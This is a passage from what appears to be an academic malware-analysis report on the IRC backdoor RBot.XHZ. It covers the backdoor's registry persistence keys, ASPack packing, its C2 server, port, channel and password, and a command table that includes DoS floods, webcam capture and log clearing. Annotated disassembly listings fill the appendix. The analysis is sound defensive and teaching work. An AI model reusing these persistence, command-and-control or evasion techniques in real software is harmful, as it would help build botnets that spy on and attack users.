Microsoft.
After double clicking on the backdoor file, the file disappeared from the directory and
the results from FileMon showed that a new file under the system directory with the
name of msq32.exe had been created and was active, as shown in figure 24. 
Figure 24. FileMon identifying backdoor initialization actions
The hacker wanted to create the illusion that the backdoor was one of the Windows
protected operating system files by choosing the backdoor name to start with the two
letters ms similar to the Windows protected files and by setting the file status to hidden,
as shown in figure 25. 
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Figure 25. Hidden msq32 backdoor file – Active msq32 process
After  the  initial  execution,  the Windows firewall  immediately blocked the file from
connecting to a network, as shown in figure 26. I behaved like a computer user who was
unaware of security threats and the basic functionality of malware, and unblocked the
backdoor. Figure 26 demonstrates that the icon associated with the backdoor can  play a
major role in unblocking the backdoor. If  the icon of the backdoor was the same as
popular program like Skype, many users would unblock the backdoor.
Figure 26. Windows firewall blocking the backdoor 
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On the other hand, RegMon identified added registry keys. The most important keys
spotted were three keys added to auto-start the backdoor when the Windows OS started
as  highlighted  in  figure  27.  The  backdoor  also  queried  registry  keys  related  to
networking and the Internet.
Figure 27. Three registry keys added to  lunch the backdoor automatically at OS start-up
The registry keys  added by the backdoor  to  start  automatically when Windows OS
started  are listed in listing 10.
Key1: HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Value: HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Internet Security
Service "msq23.exe"
Key2: HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
Value: HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\Internet
Security Service "msq23.exe"
Key3: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Value: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Internet Security
Service "msq23.exe"
Listing 10. Three registry keys added to lunch the backdoor automatically at OS start-up
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More information can be found about auto-run registry files at  A definition of the Run
keys  in  the  Windows  XP registry  article  found at  the Microsoft  support  web pages
(http://support.microsoft.com/kb/314866/EN-US/)
FileMon and RegMon provided good  information for the dynamic analysis phase. The
backdoor  copied  itself  under  the system directory and removed the  initial  file.  The
backdoor queried several files related to networking and the Internet. This action could
have been done automatically by Windows when loading the dll files. The backdoor had
added three registry keys to survive the machine restart. This information was used by
anti-virus programs to remove the backdoor completely from the system. The phase had
been completed and next I would start the static analysis phase where I would dissect
the backdoor binaries.
   
5.3.3 Static Analysis
The  first  step  was  to  examine  the  backdoor  with  PEiD  to  identify  if  it  uses  any
protection technique. PEiD identified that the backdoor's author used ASPack 2.12 to
obfuscate the malware, as demonstrated in figure 28.
Figure 28. PEiD identifies the backdoor protection 
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Defeating ASPack 2.12 can be accomplished by the memory dump technique  using
OllyDump and then reconstructing the import table using ImpREC. I decided to avoid
describing the details of how the protection was defeated due to the fact that ASPack is
commercial  software,  and the malware analyst  ethical  rule prohibits  publishing such
confidential information that would cause harm to an ASPack producer.
The most important information required to break the protection was the original entry
point (OEP) which was located at 04023500. The OEP has been supplied to OllyDump
and then to ImpREC to reconstruct the original PE. Figure 29 shows the backdoor after
eliminating ASPack protection.
Figure 29.  PEiD identifies that ASPack  protection has been eliminated
Since the protection had been eliminated, it was possible to start reversing the malware
using OllyDbg to uncover more details about the backdoor. Reversing the backdoor can
be a tedious and time consuming process. The objective for the malware analyst is not
to  reverse every single line but to  understand the behaviour of  the malware and to
extract the most important information.
I will describe here the life cycle of the backdoor in seven steps as simplified in figure
30. The assembly codes for each step are provided in Appendix 1. The assembly code
provides more details about each step such as the imported Win32 API functions used to
accomplish each step, and where the code has been patched to bypass certain checks.
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Step 1: The backdoor creates a mutex named “by close” to make sure no other instances
of the backdoor are already running; the program terminates if the mutex already exists.
This mechanism ensures that the program does not try to infect the same host twice.
Listing 11 demonstrates the assembly code.
Step 2: The backdoor runs some checks to find whether it has already been installed
under the system directory (SYSTEM32). It obtains the executable’s file name and path.
If the malware does not exists under system directory, it copies itself with the name of
“msq32.exe” under the system directory and terminates the current malware and delete
itself.  It  also  sets  the  file  attributes'  status  of  msq32.exe  to  hidden.  Listing  12
demonstrates the assembly code.
Step 3: Prepares the connection to the IRC Server by specifying the server address
(asn.ma.cx), channel name (#!rx!#),  and password (xrx). Listing 13 demonstrates the
assembly code. 
Step 4: Starts  network functions to test if the Internet connection is available.  After
passing the networking checkout, it  creates a random nickname (In this case,  [XP]|
9879826  )  required  to  connect  to  IRC server.  The  text  between  the  brackets  (XP)
represents the operating system version of the infected machine. To be able to establish
a connection, the backdoor creates a socket which is a software object that connects a
program to a network. The backdoor can send and receive TCP/IP messages by opening
a socket and reading and writing data to and from the socket. Listing 14 demonstrates
the assembly code. 
Step 5:  Starts logging to the IRC server  (asn.ma.cx) by specificity the port  number
(6672) and generating a random username (qiyaleqh).  Ports  6665 through 6669 are
registered  for  IRCU,  the  Internet  Relay Chat  services.  Next,  it  sends  “NICK [XP]|
3394445 USER giyaleqh 0 0 :[XP]|3394445” logging request to the server and validates
the response. If it fails, it closes the socket and goes to sleeping mode; to try at later
time. Listing 15 demonstrates the assembly code.
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Figure 30. Backdoor.RBot.XHZ life cycle
Step 6: If  the login succeeds, it  will start  receiving data (commands)  from the IRC
Server. The backdoor enters an infinite loop in order to receive commands from the
hacker until  the hacker sends a command that would terminate the loop, for example,
by sending KICK command to logout the user from the server. Listing 16 demonstrates
the assembly code.
Step 7: Once the command is received from the hacker, it will match the command with
the corresponding function and execute it. Most of the commands are used for collecting
information  from  the  infected  machine  or  for  starting  DOS  attacks.  Listing  18
demonstrates the assembly code.
The backdoor contains a large number of commands. It  would be time-consuming to
examine (reverse) what every command is used for. Some of the commands' purposes
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can be easily guessed while the others require deeper investigation. Table 3. provides a
listing of some of the backdoor's commands along with their descriptions.
Table 3. Part of Backdoor.RBot.XHZ commands
Command(s) Description
speedtest Tests the Internet connection by sending HTTP  POST request to several
websites. 
Tsunami flood,
DDoS flood,
UDP flood, 
Ping flood, 
SkySyn flood
DoS Attack
exploitlist Finds or uses exploits the the system (prediction, not reversed)
ocmd Opens Command line window using an anonymous pipe connection.
getcdkeys Queries the registry for games serial numbers  including Counter Strike, Half-
Life, Soldiers Of Anarchy, and Gunman Chronicles.
capture Turns on the video camera of the infected machine to capture images and videos
socks4 Hacker can obtain an anonymous connection to the Internet by indirectly
connecting through an infected machine using sock4 server
netinfo Get the status of the network (Not Connected / Connected , Dial-up /  LAN)
sysinfo Retrieves information about the current operating system. Information collected
from my virtual machine were: XP Service Pack 3, v.3264
getclip Gets the data from the clipboard. This data is stored during the copy-cut-paste
operations 
clearlog Removes the traces of the backdoor by clearing the log file. For example, I was
testing the findpass command and that command works only at the Windows
NT. There was an error log for it and the backdoor cleared it.
It  would  be  more  effective  and  easier  to  understand  backdoor's  behaviours  and
commands by establishing an IRC server on a separate virtual machine and name it
asn.ma.cx. Backdoor.RBot.XHZ would connect to the delusive virtual  server to start
live conversation with the malware analyst (as if he or she was the hacker), which helps
to understand all of its functionalities and commands.
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6  Conclusion 
In the last few years, IT security firms and researchers have not only witnessed the rapid
growth  of  malicious  programs  online,  but  also  encountered  more  advanced  and
complicated techniques used by malware authors. Educating system programmers and
administrators about the internals of malware become critical. This project presents a
deeper look at malware, how it works and how it is built internally. The information
presented  was  more  toward  software  engineers  and  system  administrators  than
computers' end users.
The key outcomes of the project demonstrate that malware is becoming very complex
and  sophisticated,  developing  malware  is  becoming  more  professionalised  and
organized,   malware  authors  can  have  a  better  understanding  of  a computer's
environment than their  opponents, and why not every protection tool offers maximum
security. The main strength of the project is that it offers good introduction to several
technical  issues,  from  the  security  perspective  such  as  Internet  threats,  computer
programs,  computer  hardware  and  operating  systems.  Unfortunately,  the  depth  and
complication of IT security highlights the main limitations of the project. On the main
topics covered here, there are dozens of educational resources that must be read for their
better understanding.
Better education is as one of the suggested solutions for better  IT security future. More
educational efforts for IT security are required to educate software engineers, system
administrators and computers' end users. Universities and colleges are urged to offer
more IT security courses with the consideration for establishing a specialized degree in
this field. 
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Appendix 1.  Backdoor.RBot.XHZ Assembly Code
Appendix 1 contains the most important parts of the backdoor assembly code. These
parts have been divide into several listing according to the sequential execution of the
backdoor. Comments have been added to the most import lines while less important
codes have been eliminated and replaced by dots. 
00402C31     CALL DWORD PTR DS:[452FF4]                      ;   kernel32.SetErrorMode
00402C37     PUSH 7530                                 ;   Timeout = 30000. ms
00402C3C    PUSH msq23.00443998                      ;   MutexName = "by close"
00402C41     PUSH EBX                                       ;   InitialOwner = Flase
00402C42     PUSH EBX                                        ;   pSecurity = NONE
00402C43     CALL DWORD PTR DS:[<&kernel32.CreateMute>   ;   CreateMutexA
00402C49     PUSH EAX                                   ;   hObject
00402C4A    CALL DWORD PTR DS:[<&kernel32.WaitForSin>   ;  WaitForSingleObject
00402C50    CMP EAX,102
00402C55    JNZ SHORT msq23.00402C5F     ; Jump to listing 12 if malware 
;  process has not started  
; otherwise continue to exit
00402C57    PUSH 1                                 ;  ExitCode = 1
00402C59    CALL DWORD PTR DS:[<&kernel32.ExitProces> ;  ExitProcess
Listing 11 Creating Mutex.
Following the jump from 00402C55
00402C6B  CALL DWORD PTR DS:[452EB8]               ;  ws2_32.WSAStartup
00402C71  CMP EAX,EBX                                      ;  Start socket
00402C73  JNZ msq23.0040319C ; Socket started?!
00402C79  CMP BYTE PTR SS:[EBP-884],2 ; continue
.......... 
; Find malware file path
00402CA1  PUSH ESI                                 ;  BufSize => 104 (260.)
00402CA2  PUSH EAX                                ;  Buffer
00402CA3  CALL DWORD PTR DS:[<&kernel32.GetSystemD>   ; GetSystemDirectoryA
00402CA9  LEA EAX,DWORD PTR SS:[EBP-2EC]
00402CAF  PUSH ESI                                  ;  BufSize => 104 (260.)
00402CB0  PUSH EAX                                 ;  PathBuffer
00402CB1  PUSH EBX                                 ;  pModule
00402CB2  CALL DWORD PTR DS:[<&kernel32.GetModuleH>  ; GetModuleHandleA
75
00402CB8  PUSH EAX                                 ;  hModule
00402CB9  CALL DWORD PTR DS:[<&kernel32.GetModuleF>         ;  GetModuleFileNameA
..........................
  ; Malware file path
00402CCE   LEA EAX,DWORD PTR SS:[EBP-2EC]              ;  C:\WINDOWS\system32\msq32.exe
  ; The desired file path and name
.......................
00402D09   CALL msq23.004205E0          ; validate if the malware file path and name
00402D0E   ADD ESP,30
00402D11    TEST EAX,EAX         ; are correct?!!
00402D13   JNZ msq23.00402ED1                      ; Then do not delete the current file and do not exist
        ; and continue to listing 13
        ; otherwise, create msq32.exe under the system 
        ; directory and delete and exit the current file. 
Listing 12. Validating malware file path and name
Following the jump from 00402D13
00403069    PUSH msq23.004439B4                      ;  ASCII "asn.ma.cx" – IRC Server
0040306E    PUSH msq23.004E0C2C
00403073    MOV DWORD PTR DS:[4E0DAC],EAX
00403078    CALL msq23.004200D0                      ;  Validate previous string
0040307D  MOV EAX,DWORD PTR DS:[443968]
00403082    PUSH 3F
00403084    MOV EDI,msq23.004E0CAC
00403089    PUSH msq23.004439C0                      ;  ASCII "#!rx!#" - IRC Channel Name
0040308E    PUSH EDI
0040308F    MOV DWORD PTR DS:[4E0D7C],EAX
00403094    CALL msq23.004200D0                      ;  Validate previous string
00403099    PUSH 3F
0040309B    MOV ESI,msq23.004E0CEC
004030A0    PUSH msq23.004439C8                     ;  ASCII "xrx" – IRC Channel password
004030A5    PUSH ESI
004030A6    CALL msq23.004200D0                      ;  Validate previous string
004030AB   ADD ESP,24
004030AE   MOV DWORD PTR DS:[4E0D80],EBX
004030B4    MOV DWORD PTR SS:[EBP-4],EBX
004030B7    PUSH msq23.004E0C28                              
004030BC    MOV DWORD PTR DS:[4E0DA8],EBX           ; After IRC Server name and Channel
              ; name and password have been 
; prepared. It is time to call
; some network functions
004030C2  CALL 004031A5                   ; Network functions – Listing 14
Listing 13 IRC connection strings loaded
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Following the function at 004030C2
004031A5  PUSH EBP
004031A6  MOV EBP,ESP
004031A8  SUB ESP,190
..........
004031E3  CALL DWORD PTR DS:[452F48]              ;  ws2_32.ntohs
004031E9  MOV WORD PTR SS:[EBP-E],AX
004031ED LEA EAX,DWORD PTR SS:[EBP-18C]
004031F3  PUSH EAX
004031F4  CALL msq23.00402561                 ; Network related functions [inet_addr, getHostByName]
004031F9  TEST EAX,EAX
004031FB  POP ECX
004031FC  MOV DWORD PTR SS:[EBP-C],EAX
004031FF  JE msq23.004032F7
......
00403224  CALL msq23.00402B5A                     ;  Creates Random Nickname = [XP]:3394445
00403229  MOV EDI,EAX
0040322B  MOV EAX,DWORD PTR SS:[EBP-34]
0040322E  IMUL EAX,EAX,234
00403234  PUSH 1B
00403236  ADD EAX,msq23.00453E38                  ;  ASCII "[XP]|9879826"
0040323B  PUSH EDI
0040323C  PUSH EAX
0040323D  CALL msq23.004200D0 ; String Validation function
00403242   ADD ESP,28
00403245   PUSH 6                                  ;  IPPROTO_TPC
00403247  PUSH 1                                  ;  SOCKET_STREAM
00403249  PUSH 2                                 ;  IF_INET
0040324B  CALL DWORD PTR DS:[452FC8]          ;  ws2_32.socket
00403251  MOV ESI,EAX                              ;  Socket Descriptor = 0x1A0
00403253  MOV EAX,DWORD PTR SS:[EBP-34]
00403256  IMUL EAX,EAX,234
0040325C  PUSH 10
0040325E  MOV DWORD PTR DS:[EAX+453E2C],ESI
00403264  LEA EAX,DWORD PTR SS:[EBP-10]
00403267  PUSH EAX
00403268  PUSH ESI                                 ;  Socket Discriptor
00403269  CALL DWORD PTR DS:[452EF0]           ;  ws2_32.connect – This will fail
0040326F  CMP EAX,-1                              ;  Sucess = zero, Fail = -1
00403272   JNZ SHORT msq23.00403290                  ;  Patch this: JNZ to JE
00403274  PUSH ESI  ; If connect function fails, close the socket
00403275  CALL DWORD PTR DS:[452FE0]           ;  ws2_32.closesocket
0040327B  CALL msq23.0040258A
00403280   PUSH 7D0                                                 ; Timeout = 2000. ms
00403285   CALL DWORD PTR DS:[<&kernel32.Sleep>]   ; Sleep
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0040328B  JMP msq23.004031CA
00403290   LEA EAX,DWORD PTR SS:[EBP-18C]          ;  asn.ma.cx , IRC Server
00403296   PUSH EAX
00403297   PUSH msq23.00443CD8
0040329C  CALL msq23.0041732F
004032A1  PUSH DWORD PTR SS:[EBP-38]
004032A4  LEA EAX,DWORD PTR SS:[EBP-18C]
004032AA  PUSH EAX
004032AB  LEA EAX,DWORD PTR SS:[EBP-8C]
004032B1  PUSH EAX
004032B2  LEA EAX,DWORD PTR SS:[EBP-CC]           ;  xrx , Password
004032B8  PUSH DWORD PTR SS:[EBP-190]
004032BE  PUSH EDI                                         ;  The Random Nickname
004032BF  PUSH EAX                                                     ;  xrx , Password
004032C0  LEA EAX,DWORD PTR SS:[EBP-10C]          ;  #!xrx!#, Channel name
004032C6  PUSH EAX
004032C7  PUSH ESI                                         ;  Socket Descriptor
004032C8  CALL 0040330D                                   ;  Login to IRC Server – Listing 15
004032CD ADD ESP,28
004032D0  MOV EDI,EAX
004032D2  PUSH ESI
004032D3  CALL DWORD PTR DS:[452FE0]                   ;  ws2_32.closesocket
004032D9  TEST EDI,EDI
004032DB  JE msq23.004031CA
......
Listing 14. Creating connection to the IRC Server
Following the function at 004032C8 
0040330D  PUSH EBP
0040330E  MOV EBP,ESP
00403310  MOV EAX,1A10                             ;  Port Number  = 6672
00403315  CALL msq23.004208B0
0040331A  PUSH EBX
0040331B  PUSH ESI
.............
0040335D  CALL msq23.00402B5A           ;  Generates random username 
00403362  ADD ESP,10                               ;  output = random username is qiyaleqh
00403365  PUSH EAX                                 
00403366  LEA EAX,DWORD PTR SS:[EBP-A0]            
0040336C  PUSH DWORD PTR SS:[EBP+14]     
0040336F  PUSH msq23.00443D04                      ; ASCII "NICK %s USER %s 0 0 :%s"
00403374  PUSH EAX                             
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00403375  CALL msq23.0041FB30                     ; Form string of random nickname and username
0040337A  ADD ESP,14 ; output =  NICK [XP]|3394445 USER giyaleqh 0 0 :[XP]|3394445
0040337D  LEA EAX,DWORD PTR SS:[EBP-A0]  
....
00403393  PUSH DWORD PTR SS:[EBP+8]            ;  Socket Descriptor
00403396  CALL DWORD PTR DS:[452F98]          ;  ws2_32.send – send string
0040339C  CMP EAX,-1                              ;  Must return the number of bytes sent, Fail = -1
0040339F   JNZ SHORT msq23.004033BC               ;  Patch: JNZ to JE – Listing 16
004033A1  PUSH DWORD PTR SS:[EBP+8] ; Send call will fail, therefore the previous check
              ; must be patched or socket will be closed
004033A4  CALL DWORD PTR DS:[452FE0]         ;  ws2_32.closesocket
004033AA  PUSH 1388                                               ; Timeout = 5000. ms
004033AF  CALL DWORD PTR DS:[<&kernel32.Sleep>]    ; Sleep
Listing 15 Sending login request to IRC Server
Following the jump at 0040339F
004033BC  MOV ESI,1000 ; preparing memory space for buffer
004033C1  LEA EAX,DWORD PTR SS:[EBP-1A10]
004033C7  PUSH ESI
004033C8  PUSH EBX
004033C9  PUSH EAX
004033CA  CALL msq23.0041F9D0
004033CF  ADD ESP,0C
004033D2  LEA EAX,DWORD PTR SS:[EBP-1A10]
004033D8  PUSH EBX                                      ;  Flag option = 0
004033D9  PUSH ESI                                ;  Length of buffer = 0x1000
004033DA PUSH EAX                                 ;  Buffer for incoming data = 0012D9B0
004033DB  PUSH DWORD PTR SS:[EBP+8]                ;  Socket descriptor
004033DE  CALL DWORD PTR DS:[452F60]               ;  ws2_32.recv – To receive commands
004033E4  TEST EAX,EAX                           ;  return -1, no problem
004033E6  JE SHORT msq23.004033B5                  ;  Not Patched
004033E8  LEA EAX,DWORD PTR SS:[EBP-A10]  ; outer loop n#1 starts here
 ; loop to keep receiving commands from
 ; the hacker 
..............
0040340D  PUSH 1 ;  loop n#2starts here
0040340F  POP ESI
00403410  PUSH DWORD PTR SS:[EBP+24] ; inner loop n#3 starts here
00403413  LEA EAX,DWORD PTR SS:[EBP-8]
00403416  PUSH ESI
00403417 PUSH EAX
00403418  LEA EAX,DWORD PTR SS:[EBP-240]
0040341E  PUSH EAX
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0040341F  LEA EAX,DWORD PTR SS:[EBP-1A0]
00403425   PUSH EAX
00403426  PUSH DWORD PTR SS:[EBP+20]            ;  asn.ma.cx
00403429  PUSH DWORD PTR SS:[EBP+14]            ;  the random nickname
0040342C  PUSH DWORD PTR SS:[EBP+10]            ;  xrx
0040342F  PUSH DWORD PTR SS:[EBP+C]            ;  #!rx#!
00403432  PUSH DWORD PTR SS:[EBP+8]              ;  socket descriptor
00403435  PUSH DWORD PTR DS:[EDI]               ; value = 0
00403437  CALL 00403485                  ;  Check command received from hacker -  listing 17
0040343C  ADD ESP,2C
0040343F  DEC EAX
00403440  MOV ESI,EAX
00403442  CMP ESI,EBX
00403444  JLE SHORT msq23.00403453
00403446  PUSH 7D0                              ; Timeout = 2000. ms
0040344B  CALL DWORD PTR DS:[<&kernel32.Sleep>]    ; Sleep
00403451  JMP SHORT msq23.00403410    ;  jump to loop 3
00403453  CMP ESI,-3
00403456  JE SHORT msq23.0040347D
00403458  CMP ESI,-2
0040345B  JE SHORT msq23.00403479
0040345D  CMP ESI,-1
00403460  JE msq23.004033B5
00403466  INC DWORD PTR SS:[EBP-4]
00403469  ADD EDI,4
0040346C  MOV EAX,DWORD PTR SS:[EBP-4]
0040346F  CMP EAX,DWORD PTR SS:[EBP-C]
00403472  JL SHORT msq23.0040340D  ; jump to loop 2
00403474  JMP msq23.004033BC  ; jump to loop1 
00403479  PUSH 1
0040347B  JMP SHORT msq23.0040347F
0040347D  PUSH 2
0040347F  POP EAX
Listing 16.  Receiving commands from the hacker 
Following the function at 00403437
 00403485  PUSH EBP
 00403486  MOV EBP,ESP
 00403488  MOV EAX,5D88
...............
00403625    PUSH msq23.00443D30                      ;  ASCII "PING"
0040362A   CALL msq23.004201D0            ; check if received command is PING
0040362F    POP ECX
00403630   TEST EAX,EAX
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00403632   POP ECX
00403633   JNZ SHORT msq23.00403675            ; if the command is PING go to Ping function 
00403635   PUSH DWORD PTR SS:[EBP-8C]      ; else continue
0040363B   MOV BYTE PTR DS:[ESI+1],4F
0040363F   PUSH msq23.00443D38                      ;  ASCII "PONG %s"
00403644   PUSH DWORD PTR SS:[EBP+C]      ;  Socket Descriptor
00403647   CALL msq23.004013FF ; sends PONG command
0040364C   MOV EAX,DWORD PTR SS:[EBP+28]
0040364F   ADD ESP,0C
00403652   CMP DWORD PTR DS:[EAX],EBX
00403654   JNZ msq23.00403719 ; Jump here -  Listing 18
0040365A   PUSH DWORD PTR SS:[EBP+14]
0040365D   PUSH DWORD PTR SS:[EBP+10]
00403660   PUSH msq23.00443D44                     ;  ASCII "JOIN %s %s"
00403665   PUSH DWORD PTR SS:[EBP+C] ; Socket Descriptor
00403668   CALL msq23.004013FF ; Join the IRC Server
0040366D  ADD ESP,10
00403670   JMP msq23.00403719    
Listing 17. Checking received command
Following the jump from 00403654 to 00403719 which contains another jump to
004043A6 where the full list of commands starts. Only few commands are listed at
listing 18.
004043A6   PUSH msq23.00444310                      ;  ASCII "version"
004043AB  CALL msq23.004201D0           ; Check  if the  received command = version
004043B0   POP ECX
004043B1   TEST EAX,EAX
004043B3    POP ECX
004043B4   JE msq23.00406308           ; If is matched => version function 
004043BA   PUSH EDI           ; if  not , then continue
004043BB   PUSH msq23.00444318                      ;  ASCII "ver"
004043C0   CALL msq23.004201D0           ;  Check  if the  received command = ver
004043C5   POP ECX
004043C6   TEST EAX,EAX
004043C8   POP ECX
004043C9   JE msq23.00406308            ; If is matched => ver function 
004043CF   PUSH EDI           ; if  not , then continue
004043D0  PUSH msq23.0044432C                      ;  ASCII "dedication"
004043D5  CALL msq23.004201D0           ;  Check  if the  received command = dedication
004043DA   POP ECX
004043DB  TEST EAX,EAX
004043DD  POP ECX
004043DE  JE msq23.004062FE           ; If is matched => dedication function 
004043E4    PUSH EDI           ; else continue
004043E5    PUSH msq23.00444338                      ;  ASCII "ded"
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004043EA   CALL msq23.004201D0            ;  Check  if the  received command = ded 
004043EF   POP ECX
004043F0    TEST EAX,EAX
004043F2    POP ECX
004043F3   JE msq23.004062FE           ; If is matched => dedication function 
004043F9  PUSH EDI           ; One the right command is found, the function
         ; execute and then send the result the hacker. 
Listing 18. Commands list
Then it returns back to 0040343C inside loop3 from listing 16 which would continue
receiving commands until the hacker send  KICK command or any other command that
would stop receiving commands from the hacker. 
 
  
